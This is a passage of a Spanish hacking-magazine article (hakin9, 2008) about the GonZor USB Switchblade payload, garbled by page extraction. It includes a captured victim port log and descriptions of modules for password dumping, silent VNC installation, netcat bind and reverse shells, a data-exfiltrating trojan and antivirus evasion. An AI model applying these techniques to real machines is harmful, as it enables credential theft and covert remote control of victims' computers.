TIME_WAIT 0<br />

TCP 127.0.0.1:30606 127.0.0.1:2286<br />

TIME_WAIT 0<br />

UDP 0.0.0.0:1027 *:*<br />

1304<br />

[spoolsv.exe]<br />

UDP 0.0.0.0:1035 *:*<br />

1080<br />

C:\WINDOWS\system32\mswsock.dll<br />

C:\WINDOWS\system32\RPCRT4.dll<br />

[svchost.exe]<br />

UDP 127.0.0.1:1900 *:*<br />

1136<br />

c:\windows\system32\WS2_32.dll<br />

c:\windows\system32\ssdpsrv.dll<br />

C:\WINDOWS\system32\ADVAPI32.dll<br />

C:\WINDOWS\system32\kernel32.dll<br />

[svchost.exe]<br />

UDP 192.168.1.201:5353 *:*<br />

1472<br />

[mDNSResponder.exe]<br />

----------------------------------------------------------<br />

+----------------------------------+<br />

+ [Port Scan] +<br />

+----------------------------------+<br />

Creating log file called G:\System\Logs\RAD-SRV-01\RAD-SRV-<br />

01_TEMP.log<br />

Processing local system's ports...<br />

TCP/UDP Port to Process Mappings<br />

35 mappings found<br />

PID Port Local IP State Remote IP:Port<br />

4 TCP 445 0.0.0.0 LISTENING 0.0.0.0:<br />

43026<br />

4 TCP 445 127.0.0.1 ESTABLISHED 127.0.0.1:<br />

1039<br />

4 TCP 1039 127.0.0.1 ESTABLISHED 127.0.0.1:445<br />

4 TCP 139 192.168.1.1 LISTENING 0.0.0.0:<br />

2144<br />

4 UDP 445 0.0.0.0 *:*<br />

4 UDP 137 192.168.1.1 *:*<br />

4 UDP 138 192.168.1.1 *:*<br />

556 TCP 1025 0.0.0.0 LISTENING 0.0.0.0:43045<br />

556 UDP 500 0.0.0.0 *:*<br />

556 UDP 4500 0.0.0.0 *:*<br />

740 TCP 135 0.0.0.0 LISTENING 0.0.0.0:<br />

10429<br />

740 TCP 135 192.168.1.1 ESTABLISHED<br />

192.168.1.1:1033<br />

948 UDP 1027 0.0.0.0 *:*<br />

1008 TCP 1026 0.0.0.0 LISTENING 0.0.0.0:<br />

59528<br />

1008 UDP 123 127.0.0.1 *:*<br />

1008 UDP 123 192.168.1.1 *:*<br />

1276 TCP 1035 192.168.1.1 ESTABLISHED<br />

66.249.93.104:80<br />

1476 TCP 1033 192.168.1.1 ESTABLISHED<br />

192.168.1.1:135<br />

78 www.<strong>hakin9</strong>.org/es<br />

1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:<br />

2261<br />

1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />

61635<br />

1516 UDP 28000 0.0.0.0 *:*<br />

1516 UDP 28001 0.0.0.0 *:*<br />

1516 UDP 1645 192.168.1.1 *:*<br />

1516 UDP 1646 192.168.1.1 *:*<br />

1516 UDP 1812 192.168.1.1 *:*<br />

1516 UDP 1813 192.168.1.1 *:*<br />

1516 UDP 28007 192.168.1.1 *:*<br />

1828 TCP 5900 0.0.0.0 LISTENING 0.0.0.0:<br />

10296<br />

Port Statistics<br />

TCP mappings: 13<br />

UDP mappings: 22<br />

TCP ports in a LISTENING state: 8 = 61.54%<br />

TCP ports in a ESTABLISHED state: 5 = 38.46%<br />

Port and Module Information by Process<br />

Note: restrictions applied to some processes may<br />

prevent PortQry from accessing more information<br />

For best results run PortQry in the context of<br />

the local administrator<br />

======================================================<br />

Process ID: 4 (System)<br />

System Process<br />

PID Port Local IP State Remote IP:Port<br />

4 TCP 445 0.0.0.0 LISTENING 0.0.0.0:<br />

43026<br />

4 TCP 445 127.0.0.1 ESTABLISHED 127.0.0.1:1039<br />

4 TCP 1039 127.0.0.1 ESTABLISHED 127.0.0.1:445<br />

4 TCP 139 192.168.1.1 LISTENING 0.0.0.0:<br />

2144<br />

4 UDP 445 0.0.0.0 *:*<br />

4 UDP 137 192.168.1.1 *:*<br />

4 UDP 138 192.168.1.1 *:*<br />

======================================================<br />

Process ID: 1436<br />

Service Name: RemoteRegistry<br />

Display Name: Registro remoto<br />

Service Type: shares a process with other services<br />

======================================================<br />

Process ID: 1516 (radius.exe)<br />

Service Name: Steel-Belted Radius<br />

Display Name: Steel-Belted Radius<br />

Service Type: runs in its own process<br />

PID Port Local IP State Remote IP:Port<br />

1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:2261<br />

1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />

61635<br />

1516 UDP 28000 0.0.0.0 *:*<br />

1516 UDP 28001 0.0.0.0 *:*<br />

1516 UDP 1645 192.168.1.1 *:*<br />

1516 UDP 1646 192.168.1.1 *:*<br />

1516 UDP 1812 192.168.1.1 *:*<br />

1516 UDP 1813 192.168.1.1 *:*<br />

1516 UDP 28000 192.168.1.1 *:*<br />

1516 UDP 28001 192.168.1.1 *:*


Referencias<br />

• Todas las distribuciones Switchblade por hak5.org.<br />

http://wiki.hak5.org/wiki/USB_Switchblade<br />

• La web de GonZor.<br />

http://www.users.on.net/~simmo_89/switchblade/about.html<br />

• Hak5 foros muy interesantes.<br />

http://forums.hak5.org/index.php/topic,6608.180.htm<br />

http://anvirtuel.googlepages.com/<br />

• USB Hacks Website<br />

http://www.usbhacks.com<br />

• U3 project home.<br />

http://www.u3.com<br />

• U3 central de software<br />

http://software.u3.com/softwarecentral.aspx<br />

• Alternativa MojoPac a U3 con versión libre y de pago<br />

http://www.mojopac.com<br />

cuando se tiene activada la<br />

función de entrar en el equipo<br />

sin introducir el password.<br />

• Cachedump<br />

Otro dump de cache de usuarios<br />

y contraseñas para do-<br />

Listado 1. Captura de log de GonZor switchblade<br />

(Continuación)<br />

1516 UDP 28002 192.168.1.1 *:*<br />

1516 UDP 28003 192.168.1.1 *:*<br />

1516 UDP 28004 192.168.1.1 *:*<br />

1516 UDP 28005 192.168.1.1 *:*<br />

1516 UDP 28006 192.168.1.1 *:*<br />

1516 UDP 28007 192.168.1.1 *:*<br />

======================================================<br />

Process ID: 1612 (uvnc_service.exe)<br />

Service Name: Uvnc_service<br />

Display Name: Uvnc_service<br />

======================================================<br />

Process ID: 1828 (winvnc.exe)<br />

Process doesn't appear to be a service<br />

PID Port Local IP State Remote IP:Port<br />

1828 TCP 5900 0.0.0.0 LISTENING 0.0.0.0:10296<br />

======================================================<br />

Process ID: 2700 (cmd.exe)<br />

Process doesn't appear to be a service<br />

======================================================<br />

Process ID: 3056 (LaunchPad.exe)<br />

Process doesn't appear to be a service<br />

======================================================<br />

Process ID: 3264 (winvnc.exe)<br />

Service Name: WinVNC<br />

Display Name: Domain Client Service<br />

======================================================<br />

Process ID: 1516 (radius.exe)<br />

Service Name: Steel-Belted Radius<br />

minios de Windows. Vuelca<br />

los diez últimos logins de ese<br />

equipo en el dominio.<br />

• Netstat<br />

El conocido netstat.exe que<br />

da las conexiones TCP y UDP<br />

www.<strong>hakin9</strong>.org/es<br />

Display Name: Steel-Belted Radius<br />

Service Type: runs in its own process<br />

USB Payload<br />

abiertas, activas y en escucha<br />

de la víctima. También es muy<br />

útil para un ataque planificado.<br />

• Port Scan<br />

Casi un netstat.exe pero<br />

utilizando la herramienta<br />

PortQryV2. El log es formateado<br />

de otra manera más<br />

cómoda.<br />

• Messenger password Dumper<br />

Funciona en versiones anteriores<br />

de Messenger, pero sin<br />

protección de contraseñas Live.<br />

Saca algunas contraseñas<br />

de Messenger.<br />

• IE History Viewer<br />

¿Qué páginas ha visitado<br />

este usuario? Porno, hacking,<br />

bancos... Muy práctico.<br />

• FireFox Password Stealer<br />

Otro ladrón de contraseñas de<br />

explorador de Internet, pero en<br />

este caso de Mozilla Firefox.<br />

PID Port Local IP State Remote IP:Port<br />

1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:2261<br />

1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />

61635<br />

1516 UDP 28000 0.0.0.0 *:*<br />

1516 UDP 28001 0.0.0.0 *:*<br />

1516 UDP 1645 192.168.1.1 *:*<br />

1516 UDP 1646 192.168.1.1 *:*<br />

1516 UDP 1812 192.168.1.1 *:*<br />

1516 UDP 1813 192.168.1.1 *:*<br />

1516 UDP 28000 192.168.1.1 *:*<br />

1516 UDP 28001 192.168.1.1 *:*<br />

1516 UDP 28002 192.168.1.1 *:*<br />

1516 UDP 28003 192.168.1.1 *:*<br />

1516 UDP 28004 192.168.1.1 *:*<br />

1516 UDP 28005 192.168.1.1 *:*<br />

1516 UDP 28006 192.168.1.1 *:*<br />

1516 UDP 28007 192.168.1.1 *:*<br />

======================================================<br />

Process ID: 1612 (uvnc_service.exe)<br />

Service Name: Uvnc_service<br />

Display Name: Uvnc_service<br />

========= end of log file =========<br />

PortQry developed by Tim Rains<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

GonZors Payload [Time Finished: 27/09/2007 10:51:37,96]<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

79


kit<br />

• Wireless Passwords<br />

Funciona al dedillo si se utiliza<br />

el Windows Wireless Zero<br />

Configuration Service (wzcs)<br />

que almacena los ESSID y<br />

las claves WEP/WPA de forma<br />

muy vulnerable.<br />

• Dialup Password Dump<br />

Cada vez son menos los que<br />

utilizan el módem, pero si lo<br />

hacen, este programa nos da<br />

las configuraciones de cuentas<br />

de marcado o dialup. Hace<br />

unos años hacía estragos.<br />

• Username adder<br />

Después de ejecutar esta<br />

herramienta (pwservice.exe)<br />

habremos creado un nuevo<br />

usuario y contraseña en este<br />

sistema, con lo que ya tenemos<br />

una gran puerta abierta en modo<br />

debug para programas que<br />

necesitan privilegios administrativos<br />

como el pwdump.<br />

• Editing Send.bat (and stunnel.conf)<br />

El Haksaw envía la información<br />

recabada mediante una cuenta<br />

de gmail al destino solicitado.<br />

Para conseguir que se haga<br />

de esa manera hay que configurar<br />

en el script las cuentas,<br />

direcciones IP y puertos.<br />

• Silent VNC installer (with external<br />

IP send)<br />

Este script instala la aplicación<br />

de control remoto VNC de<br />

modo invisible y sin el odiado<br />

logo en la barra de tareas en<br />

el puerto 5900 y 80 con el<br />

password yougothacked.<br />

• Reverse VNC Connection<br />

Es una conexión inversa de<br />

VNC hacia nuestro puerto<br />

tras Internet 5500. De esta<br />

manera saltamos la seguridad<br />

del router y de algunos<br />

cortafuegos. Se le añade un<br />

autoarranque de este proceso,<br />

para que cada vez que<br />

arranque la maquina infectada<br />

se nos conecte. Hay que<br />

especificar nuestra IP pública<br />

o la de un dummy.<br />

• USB HackSaw<br />

Este script instala el troyano<br />

HakSaw que nos envía la<br />

información de la victima<br />

hacia una dirección de email<br />

o hacia una página web. Según<br />

cuentan, ya que no lo he<br />

probado, instala un troyano<br />

en la maquina víctima que<br />

cada vez que se conecta un<br />

pendrive en ésta, se envía su<br />

información hacia una página<br />

web o email.<br />

• Internal IP Nmaper<br />

Muy buen script que hace un<br />

nmap de la red interna para<br />

hallar direcciones IP activas<br />

en esta red y enviárnoslas o<br />

grabarlas en el log.<br />

• Folding@Home Installer<br />

Es uno de esos proyectos<br />

de colaboración de computación<br />

con grupos de utilidad<br />

científica. Al unir la víctima al<br />

grupo de colaboradores, en<br />

los tiempos muertos, el equipo<br />

de la victima ayuda a una<br />

causa desinteresada de forma<br />

involuntaria. La colaboración<br />

se realiza en nombre del U3 _<br />

Zombie group.<br />

• Folder Popuper (to show finish)<br />

Es una utilidad, o más bien<br />

inutilidad que nos muestra el<br />

log, fichero txt, generado en<br />

todo este proceso abriendo<br />

una ventana en primer plano<br />

al terminar.<br />

• NetCat Bindshell<br />

El famoso troyano netcat<br />

que crea un shell oculto en<br />

el puerto 52323. Se oculta,<br />

como muchas herramientas<br />

anteriores usando nircmd.exe.<br />

• NetCat Reverse Shell<br />

El mismo netcat del proceso<br />

anterior pero forzando una conexión<br />

inversa hacia el equipo<br />

remoto para evitar cortafuegos<br />

y puertos cerrados en el<br />

router.<br />

• Truecrypt<br />

Este script se utiliza para ejecutar<br />

el payload desde un volumen<br />

encriptado para evitar<br />

ser detectado por el antivirus.<br />

El proceso consiste en desactivar<br />

la conexión a Internet,<br />

abrir el volumen encriptado,<br />

ejecutar el anulador de antivirus<br />

avkill, correr todo el batch<br />

80 www.<strong>hakin9</strong>.org/es<br />

del payload con todas las utilidades,<br />

desmontar el volumen<br />

y reconectar Internet. Es una<br />

manera muy eficaz de ocultar<br />

las herramientas dañinas a los<br />

antivirus.<br />

• Automated Backup and Restore<br />

Es un batch basado en<br />

rar.exe para que una vez<br />

correctamente configurado y<br />

funcionando podamos hacer<br />

una copia exacta del pendrive<br />

utilizando una clave de encriptación<br />

para evitar que el antivirus<br />

la detecte como dañina.<br />

Es muy útil, ya que el antivirus<br />

suele eliminar algunas de<br />

estas herramientas que tratamos<br />

aquí. Con el restore.bat<br />

podemos volver a recuperar<br />

nuestro payload en cualquier<br />

lugar donde estemos.<br />

• Orient the Switchblade towards a<br />

special computer<br />

Es una característica del script<br />

para dirigirlo hacia un equipo<br />

determinado y volverlo inocuo<br />

para cualquier otro, de esta<br />

forma vamos únicamente contra<br />

la victima decidida.<br />

• Antidote<br />

Es necesario si te infectas<br />

o infectas a una víctima de<br />

forma accidental. El antídoto<br />

es diferente para Windows<br />

XP Pro o Home. La principal<br />

diferencia entre los dos<br />

antídotos es la utilización<br />

del taskill en Pro y del tskill<br />

en Home. El taskill es mucho<br />

más potente y para procesos<br />

de una forma más eficiente.<br />

Realmente lo que desactiva<br />

es el NC (Netcat) y el servicio<br />

VNC.<br />

Captura de log de<br />

GonZor switchblade<br />

Incorporo una captura de un log<br />

de una víctima de GonZor con la<br />

información falsificada para no<br />

dejar pistas importantes. Es aterrador<br />

ver la cantidad de información<br />

recabada. Imaginarse que pasaría<br />

si me fuera por los cibercafés<br />

mal configurados introduciendo el<br />

payload.(Listado 1). l


Pedido de suscripción<br />

Por favor, rellena este cupón y mándalo por fax: 0048 22 244 24 59 o por correo: Software-Wydawnictwo Sp. z o. o.,<br />

Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl<br />

Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................<br />

Dirección ..............................................................................................................................................................................................................................<br />

C.P. .............................................................................................................. Población ....................................................................................................<br />

Teléfono ..................................................................................................... Fax ...............................................................................................................<br />

Suscripción a partir del N o ...................................................................................................................................................................................................<br />

e-mail (para poder recibir la factura) ..................................................................................................................................................................................<br />

o Renovación automática de la suscripción<br />

Título<br />

Linux+DVD (2 DVD’s)<br />

Mensual con dos DVDs dedicado a Linux<br />

<strong>hakin9</strong> – ¿cómo defenderse? (1 CD)<br />

Mensual para las personas que se interesan por la seguridad<br />

de sistemas informáticos<br />

<strong>hakin9</strong> StarterKit-(1CD) + <strong>hakin9</strong> -¿cómo defenderse? (1CD)<br />

Linux+ StarterKit (1 DVD)<br />

Edición especial para usuarios principiantes<br />

<strong>hakin9</strong> StarterKit-(1CD)<br />

Edición especial para usuarios principientes<br />

número de<br />

ejemplares<br />

al año<br />

número de<br />

suscripciones<br />

a partir<br />

del número<br />

Precio<br />

12 69 €<br />

6 38 €<br />

4+6 60 €<br />

4 28 €<br />

4 26 €<br />

En total<br />

Realizo el pago con:<br />

□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) n O CVC Code<br />

Válida hasta<br />

□ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO<br />

Número de la cuenta bancaria: 0049-1555-11-221-0160876<br />

IBAN: ES33 0049 1555 1122 1016 0876<br />

código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:


Próximo número<br />

<strong>hakin9</strong> StarterKit 2/2008<br />

En el número siguiente,<br />

entre otros:<br />

VBScript<br />

Juan Manuel Bahamonde<br />

Un articulo sobre los viruses y gusanos (como I love you) escritos en lenguaje<br />

VBScript.<br />

Informe Nmap (Network Mapper)<br />

Juan Bidini<br />

Un informe sobre funcionamiento de herramienta disenada para exploracion<br />

y realización de auditorías en una red de seguridad en computadoras, pero<br />

frequentamente usada con fines delictivos.<br />

Implantación ITIL<br />

Manel Cantos<br />

El 80% de los incidentes de seguridad de una organización tienen su origen<br />

en aspectos internos,debido a errores humanos y debido a cambios incontrolados.<br />

ALTRAN y la Universitat Autonomade Barcelona son conscientes<br />

de ello y han comenzado a tratar la seguridad desde un punto de vista organizativo,<br />

mediante la aplicación de ITIL, lo que ha permitido controlar todos<br />

los procesos del Servei d’Informatica de la Universitat Autonoma de Barcelona<br />

disminuyendo así los riesgos intrínsecos a la tan necesaria implantación<br />

del cambio dentro de un departamento de tecnologías de la información.<br />

Correlación de eventos de Seguridad<br />

Esteban Maurin<br />

Cada Organización, de acuerdo a múltiples factores como lo son: recursos<br />

económicos, ámbito del negocio, cantidad de equipamiento computacional,<br />

características de la información que se maneja, entre otros, configura su<br />

Arquitectura básica de Seguridad basada físicamente en Cortafuegos y<br />

Detectores de Intrusos (IDSs). Sin embargo, para acciones de Alerta Temprana,<br />

neutralización y Reacción no sólo basta con la configuración descrita,<br />

sino que resulta necesario contar con un sistema de Monitoreo de Eventos<br />

de Seguridad, que permita tomar decisiones de una manera eficaz y eficiente.<br />

El artículo tiene como propósito fundamental el describir las ventajas<br />

del monitoreo de eventos de Seguridad Informática empezando con una<br />

breve aclaración de conceptos para luego esbozar la problemática actual, y<br />

finalmente dar a conocer las soluciones existentes en el mercado dentro de<br />

este ámbito.<br />

El número está a la venta desde principios de Abril de 2008.<br />

La redacción se reserva el derecho a cambiar el contenido de la revista.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!